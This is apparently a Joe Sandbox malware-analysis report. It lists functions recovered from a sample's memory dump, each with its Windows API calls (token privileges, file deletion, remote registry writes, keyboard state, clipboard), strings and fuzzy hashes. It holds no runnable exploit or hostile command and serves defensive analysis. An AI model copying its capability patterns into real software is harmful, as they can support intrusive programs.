OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 005E83CD
GetProcessWindowStation.USER32 ref: 005E83E6
SetProcessWindowStation.USER32(00000000), ref: 005E83F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 005E840A

Part of subcall function 005E81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005E8309), ref: 005E81E0
Part of subcall function 005E81CB: CloseHandle.KERNEL32(?,?,005E8309), ref: 005E81F2

Strings

default, xrefs: 005E8405
winsta0, xrefs: 005E83C8
, xrefs: 005E8362

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 9cfe93501056fcfd9151e67581fc5f3701c45035edbecc707cdbb0973fb544c6
Instruction ID: b28cd4aa6ed22e176c91621e00c181ab11a5aeda0131d9e740befe52174d17e3
Opcode Fuzzy Hash: 9cfe93501056fcfd9151e67581fc5f3701c45035edbecc707cdbb0973fb544c6
Instruction Fuzzy Hash: 25815971900289BEDF159FA5DC49AFE7FB9FF08304F14816AF859A2261DB318E14DB60

Function 005FC75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 005FC78D
FindClose.KERNEL32(00000000), ref: 005FC7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005FC806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005FC81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 005FC844
__swprintf.LIBCMT ref: 005FC890
__swprintf.LIBCMT ref: 005FC8D3

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

__swprintf.LIBCMT ref: 005FC927

Part of subcall function 005B3698: __woutput_l.LIBCMT ref: 005B36F1

__swprintf.LIBCMT ref: 005FC975

Part of subcall function 005B3698: __flsbuf.LIBCMT ref: 005B3713
Part of subcall function 005B3698: __flsbuf.LIBCMT ref: 005B372B

__swprintf.LIBCMT ref: 005FC9C4
__swprintf.LIBCMT ref: 005FCA13
__swprintf.LIBCMT ref: 005FCA62

Strings

%4d, xrefs: 005FC8CD
%4d%02d%02d%02d%02d%02d, xrefs: 005FC88A
%02d, xrefs: 005FC91B, 005FC925, 005FC973, 005FC9C2, 005FCA11, 005FCA60

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: c8b809198a6a1bc1f313104ac8b9e93f41c10450c1ededc8e159d277c1ff1e15
Instruction ID: 835958c42200d531b058a68ae534e9cc67ed3bbce4249ae52bfad7ae03340682
Opcode Fuzzy Hash: c8b809198a6a1bc1f313104ac8b9e93f41c10450c1ededc8e159d277c1ff1e15
Instruction Fuzzy Hash: 96A10DB1504245ABDB00EFA4C989DBFBBECBFD9704F40492DF59586151EA34EA08CB62

Function 005FEF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 005FEFB6
_wcscmp.LIBCMT ref: 005FEFCB
_wcscmp.LIBCMT ref: 005FEFE2
GetFileAttributesW.KERNEL32(?), ref: 005FEFF4
SetFileAttributesW.KERNEL32(?,?), ref: 005FF00E
FindNextFileW.KERNEL32(00000000,?), ref: 005FF026
FindClose.KERNEL32(00000000), ref: 005FF031
FindFirstFileW.KERNEL32(*.*,?), ref: 005FF04D
_wcscmp.LIBCMT ref: 005FF074
_wcscmp.LIBCMT ref: 005FF08B
SetCurrentDirectoryW.KERNEL32(?), ref: 005FF09D
SetCurrentDirectoryW.KERNEL32(00648920), ref: 005FF0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 005FF0C5
FindClose.KERNEL32(00000000), ref: 005FF0D2
FindClose.KERNEL32(00000000), ref: 005FF0E4

Strings

*.*, xrefs: 005FF048

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: c68f58daee7a2b2c62aa80a810dd2357a17a9b2efbb67f3be78e68c542a82e83
Instruction ID: ab3a0a3940954b09e2da848ac6e39d23f065a6c628df320fc4a072795a6f0768
Opcode Fuzzy Hash: c68f58daee7a2b2c62aa80a810dd2357a17a9b2efbb67f3be78e68c542a82e83
Instruction Fuzzy Hash: CE31E33250020D7ADB24EBA4DC4DAFE7BADAF48360F144176E905E30A1EF78DA40CB61

Function 00610857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00610953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0061F910,00000000,?,00000000,?,?), ref: 006109C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00610A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00610A92
RegCloseKey.ADVAPI32(?), ref: 00610DB2
RegCloseKey.ADVAPI32(00000000), ref: 00610DBF

Strings

REG_EXPAND_SZ, xrefs: 00610A2F
REG_BINARY, xrefs: 00610D4D
REG_MULTI_SZ, xrefs: 00610B7A
REG_QWORD, xrefs: 00610D00
REG_DWORD, xrefs: 00610C83
REG_SZ, xrefs: 00610AD0

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: c67d459625993d90b43e1ad7d8c5b60a2026b8ea5dff869fd297cfdc9e9f0322
Instruction ID: 1d8dd88d8c025e8a7908243a385035349a747ab3c366fd6c61086780dbdc4926
Opcode Fuzzy Hash: c67d459625993d90b43e1ad7d8c5b60a2026b8ea5dff869fd297cfdc9e9f0322
Instruction Fuzzy Hash: E4026D756046029FDB14EF28C855E6ABBE5FF89314F08855DF8899B362DB70EC81CB81

Function 005A66E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON

Download Yara Rule

Strings

LF), xrefs: 005E12A4
_Z, xrefs: 005E1465, 005E150C, 005E15B4
UCP), xrefs: 005E110D
0Dc, xrefs: 005A6733
CRLF), xrefs: 005E12C1
CR), xrefs: 005E1287
UTF16), xrefs: 005E10CF
BSR_ANYCRLF), xrefs: 005E131E
ANYCRLF), xrefs: 005E12FB
0Ec, xrefs: 005A673D
pGc, xrefs: 005A6751
LIMIT_RECURSION=, xrefs: 005E11FC
NO_START_OPT), xrefs: 005E114F
3cZ, xrefs: 005A68FF
ANY), xrefs: 005E12DE
NO_AUTO_POSSESS), xrefs: 005E112E
0Fc, xrefs: 005A6747
UTF), xrefs: 005E10FA
LIMIT_MATCH=, xrefs: 005E1170
BSR_UNICODE), xrefs: 005E1338

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID: 0Dc$0Ec$0Fc$3cZ$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pGc$_Z
API String ID: 0-2218053082
Opcode ID: 10772d5e6d313237ef875fdab9d057918594993a56588fd47822e6fd23b7c433
Instruction ID: 02cf84f0d3d7497bfaafb82c69878d2892895a5d30c2eaed98da2e9f7f397876
Opcode Fuzzy Hash: 10772d5e6d313237ef875fdab9d057918594993a56588fd47822e6fd23b7c433
Instruction Fuzzy Hash: 42729075E00659CBDF18CF59C8907AEBBB5FF49310F14856AE845EB280EB309E81CB94

Function 005FF0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 005FF113
_wcscmp.LIBCMT ref: 005FF128
_wcscmp.LIBCMT ref: 005FF13F

Part of subcall function 005F4385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 005F43A0

FindNextFileW.KERNEL32(00000000,?), ref: 005FF16E
FindClose.KERNEL32(00000000), ref: 005FF179
FindFirstFileW.KERNEL32(*.*,?), ref: 005FF195
_wcscmp.LIBCMT ref: 005FF1BC
_wcscmp.LIBCMT ref: 005FF1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 005FF1E5
SetCurrentDirectoryW.KERNEL32(00648920), ref: 005FF203
FindNextFileW.KERNEL32(00000000,00000010), ref: 005FF20D
FindClose.KERNEL32(00000000), ref: 005FF21A
FindClose.KERNEL32(00000000), ref: 005FF22C

Strings

*.*, xrefs: 005FF190

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: f00dfcf999c836bcb68c7290832e08d3231339314f1ec0a1ab5110af117d82f5
Instruction ID: a7383ffe3dc22628a374857284894569d3fb920fb8929fa9d8c74abcda20903a
Opcode Fuzzy Hash: f00dfcf999c836bcb68c7290832e08d3231339314f1ec0a1ab5110af117d82f5
Instruction Fuzzy Hash: 7531F23A50061E7ADB20AFA4EC48EFE7BADAF85320F144172E900E30A0DB74DE45CB54

Function 005FA1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 005FA20F
__swprintf.LIBCMT ref: 005FA231
CreateDirectoryW.KERNEL32(?,00000000), ref: 005FA26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 005FA293
_memset.LIBCMT ref: 005FA2B2
_wcsncpy.LIBCMT ref: 005FA2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 005FA323
CloseHandle.KERNEL32(00000000), ref: 005FA32E
RemoveDirectoryW.KERNEL32(?), ref: 005FA337
CloseHandle.KERNEL32(00000000), ref: 005FA341

Strings

\, xrefs: 005FA247
:, xrefs: 005FA252
\??\%s, xrefs: 005FA22B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 7304abb4eb2571fde02066b4f51a6114097df9b475125744998147d2542b28c0
Instruction ID: 03aef48cec8cc6465ce23b632f520e4e4fd087cfc4867f13f6daf534c89d2e45
Opcode Fuzzy Hash: 7304abb4eb2571fde02066b4f51a6114097df9b475125744998147d2542b28c0
Instruction Fuzzy Hash: 1C31A0B550010AABDB209FA0DC49FFB3BBDFF88700F1441B6FA08D6160EB7496448B65

Function 005F001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 005F0097
SetKeyboardState.USER32(?), ref: 005F0102
GetAsyncKeyState.USER32(000000A0), ref: 005F0122
GetKeyState.USER32(000000A0), ref: 005F0139
GetAsyncKeyState.USER32(000000A1), ref: 005F0168
GetKeyState.USER32(000000A1), ref: 005F0179
GetAsyncKeyState.USER32(00000011), ref: 005F01A5
GetKeyState.USER32(00000011), ref: 005F01B3
GetAsyncKeyState.USER32(00000012), ref: 005F01DC
GetKeyState.USER32(00000012), ref: 005F01EA
GetAsyncKeyState.USER32(0000005B), ref: 005F0213
GetKeyState.USER32(0000005B), ref: 005F0221

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ea93472673f1bd5736fa9d42ea6a1ee7a76e3533c4b3c2df30f45bbf2689c996
Instruction ID: 61a22dd8c1dfe17c4adaa366d51b4d27797e337c86509f9ab665ca9af8de0b01
Opcode Fuzzy Hash: ea93472673f1bd5736fa9d42ea6a1ee7a76e3533c4b3c2df30f45bbf2689c996
Instruction Fuzzy Hash: DF51F93490478C69FB35DBA088587FABFB5AF01380F4C559A86C2561C3DEAC9B8CC761

Function 006103DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00610E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0060FDAD,?,?), ref: 00610E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006104AC

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0061054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 006105E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00610822
RegCloseKey.ADVAPI32(00000000), ref: 0061082F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 5a65c1073bb46afaad6590af3fcb6b30833cc5591b64f918053aea6da9155028
Instruction ID: 8409485379e08e3e64a4ed0c1c3b23064b6b252919add72bc5bee22202669b40
Opcode Fuzzy Hash: 5a65c1073bb46afaad6590af3fcb6b30833cc5591b64f918053aea6da9155028
Instruction Fuzzy Hash: E0E15E31204205AFDB14DF28C895EAABBF5FF89314F08856DF849DB261DB71E941CB91

Function 00604164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0060418B
EmptyClipboard.USER32 ref: 00604191
GlobalAlloc.KERNEL32(00000002,?), ref: 006041A6
CloseClipboard.USER32 ref: 00604245

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: dc23f0cff6e205fd4fcef076d525e91a1c1b5152d3b7e6d04736a0e1e5e1d50a
Instruction ID: 984a92210e088f2fa161fe80ae6f01e5baf2ed6113824d07c9341318cb9ba681
Opcode Fuzzy Hash: dc23f0cff6e205fd4fcef076d525e91a1c1b5152d3b7e6d04736a0e1e5e1d50a
Instruction Fuzzy Hash: AD21D1753402119FDB14AF64DC0DBAE7BAAFF45351F14802AFA46DB2A1DB70AD01CB94

Function 005F37EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00594750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00594743,?,?,005937AE,?), ref: 00594770

Part of subcall function 005F4A31: GetFileAttributesW.KERNEL32(?,005F370B), ref: 005F4A32

FindFirstFileW.KERNEL32(?,?), ref: 005F38A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 005F394B
MoveFileW.KERNEL32(?,?), ref: 005F395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 005F397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 005F399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 005F39B9

Strings

\*.*, xrefs: 005F384E, 005F3857, 005F386C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 54152079b30d685b8ce6d4c0c0dfa42e39dd2fa897ff415878cdb95d05625f88
Instruction ID: 431e0698af57aa64957371f70fbfeca6d5a9df9c3588afce187f82a68013cee8
Opcode Fuzzy Hash: 54152079b30d685b8ce6d4c0c0dfa42e39dd2fa897ff415878cdb95d05625f88
Instruction Fuzzy Hash: 1D517C3180514EAADF05EBA0CA969FDBF79BF94300F60406AF506B7191EB756F09CB60

Function 005FF3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 005FF440
Sleep.KERNEL32(0000000A), ref: 005FF470
_wcscmp.LIBCMT ref: 005FF484
_wcscmp.LIBCMT ref: 005FF49F
FindNextFileW.KERNEL32(?,?), ref: 005FF53D
FindClose.KERNEL32(00000000), ref: 005FF553

Strings

*.*, xrefs: 005FF425

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: ef6c237ec3c07360353167f46d18626c6286676bb06154c061a4bb0dac2a660d
Instruction ID: 6376baef469314a6e0f2125ee4f3e2b39c9908e1c5d677d89874f079a5b13909
Opcode Fuzzy Hash: ef6c237ec3c07360353167f46d18626c6286676bb06154c061a4bb0dac2a660d
Instruction Fuzzy Hash: D141587194020EABCF14DF64DC49AFEBFB5FF49310F144466E919A2291EB349A84CB90

Function 005A3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

_Z, xrefs: 005A3322
3cZ, xrefs: 005A3225

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3cZ$_Z
API String ID: 674341424-549921992
Opcode ID: c374094b531bfceb9fbe8c894bf3d9d79ac3ad839769d1ed6827df8a1dd7134d
Instruction ID: 7d28f412bda063c14c9e27f8ea5c0cc29382f7828bb99877c2b241f80ef75f20
Opcode Fuzzy Hash: c374094b531bfceb9fbe8c894bf3d9d79ac3ad839769d1ed6827df8a1dd7134d
Instruction Fuzzy Hash: 11228B716083029FCB24DF18C885B6EBBE5BFC9314F00491EF59A97291EB71E905CB92

Function 005A5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005A58A5
_memmove.LIBCMT ref: 005A58F5
_memmove.LIBCMT ref: 005A595B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 0b1267ea2b222bda6ddd0ade793e968b55b643349b43071cccc42f400e81c314
Instruction ID: ae766ae9f452cccb19a05645eb55a183bfa05d75f4c681bbc027ef9737cdb1f1
Opcode Fuzzy Hash: 0b1267ea2b222bda6ddd0ade793e968b55b643349b43071cccc42f400e81c314
Instruction Fuzzy Hash: 43128B70A0060ADFDF08DFA5D985AEEBBF5FF88300F105529E846E7291EB35A951CB50

Function 005F3B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00594750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00594743,?,?,005937AE,?), ref: 00594770

Part of subcall function 005F4A31: GetFileAttributesW.KERNEL32(?,005F370B), ref: 005F4A32

FindFirstFileW.KERNEL32(?,?), ref: 005F3B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 005F3BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 005F3BEA
FindClose.KERNEL32(00000000), ref: 005F3C01
FindClose.KERNEL32(00000000), ref: 005F3C0A

Strings

\*.*, xrefs: 005F3B5B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
